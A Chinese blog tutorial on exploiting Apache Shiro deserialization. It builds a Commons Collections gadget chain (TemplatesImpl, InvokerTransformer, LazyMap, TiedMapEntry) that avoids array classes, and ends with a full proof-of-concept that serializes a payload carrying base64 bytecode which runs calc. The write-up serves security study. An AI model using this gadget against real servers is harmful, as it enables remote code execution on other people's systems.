[Java反序列化]—Shiro反序列化(二)
创始人
2024-03-22 00:06:15
0

0x01

这篇利用CC链来进行RCE

利用分析

在shiro-web 中加上CC依赖

        commons-collectionscommons-collections3.2.1compile

分析:

直接利用CC6的链子来打是不行的,会提示类加载[L.....] 其实就是不允许加载这个 Transformer[]了

原因是  ClassResolvingObjectInputStream 重写了 reselveClass,返回的是一个 ClassUtils.forName(osc.getName())

而原生类 则是返回 Class.forName()

protected Class resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException
{String name = desc.getName();try {return Class.forName(name, false, latestUserDefinedLoader());} catch (ClassNotFoundException ex) {Class cl = primClasses.get(name);if (cl != null) {return cl;} else {throw ex;}}
}

所以 区别就是shiro中重写的resolveClass()调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类。   (深入的是开发的知识,暂不了解

链构造:

现在就要绕过数组问题,我们可以利用动态加载来而已加载一个类,这样不会出现数组问题

可以先把 CC3的前半部分拿过来

        Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

cc3 之后会有一个数组部分

Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

这里有两个数组,但是我们可以去掉一个值,就不是数组了,而这里的ConstantTransformer 是可以去掉的。

整个链子调用 了LazeMap的 get()方法的时候

public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);
}

看到这个 get()方法,应该让调用了那个Chainedtransformer的transform,然后依次调用数组中的transformer。但关键是 factory.transform(key)把key传进去了,而key可控,也就是说,这个传入的key 完全可以代替掉 数组中的  ConstantTransformer。这样就简化了 Transformer[]里面只有一个了,不需要用chain来挨个调用了。

这里可以使用cc6的后半段 ,将将TiedMapEntrykey值设为TemplatesImpl,(因为他会调用 key.get,就把后面接上了)就可以成功赋值了。

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Snowy");outerMap.remove(templates);Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);

最终目的是调用TemplatesImpl的newTransformer,动态加载类进而执行代码,所以在通过CC2中的InvokerTransformer传入

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);

 这样就能调用TemplatesImpl.newTransformer

POC

package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class shiroCC {public static void main(String[] args) throws Exception {//CC3 动态字节码Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});//TemplatesImpl#newTransformer() ->//TemplatesImpl#getTransletInstance() ->//TemplatesImpl#defineTransletClasses()->//TransletClassLoader#defineClass()//最终调用 newTransformer() 即可触发 defineClass字节码进行恶意类加载//CC2InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null); //CC3接上 CC2放入newTransformer////CC6Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));//LazyMap.decorate(map类,value),传给LAzyMapTiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);//使其不自动调用,先设置outerMapMap hashMap = new HashMap();hashMap.put(tiedMapEntry,"snowy");outerMap.remove(templates);Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(outerMap,invokerTransformer);serialize(hashMap);//unserialize("1.txt");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}
}

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
【Ctfer训练计划】——(三... 作者名:Demo不是emo  主页面链接:主页传送门 创作初心ÿ...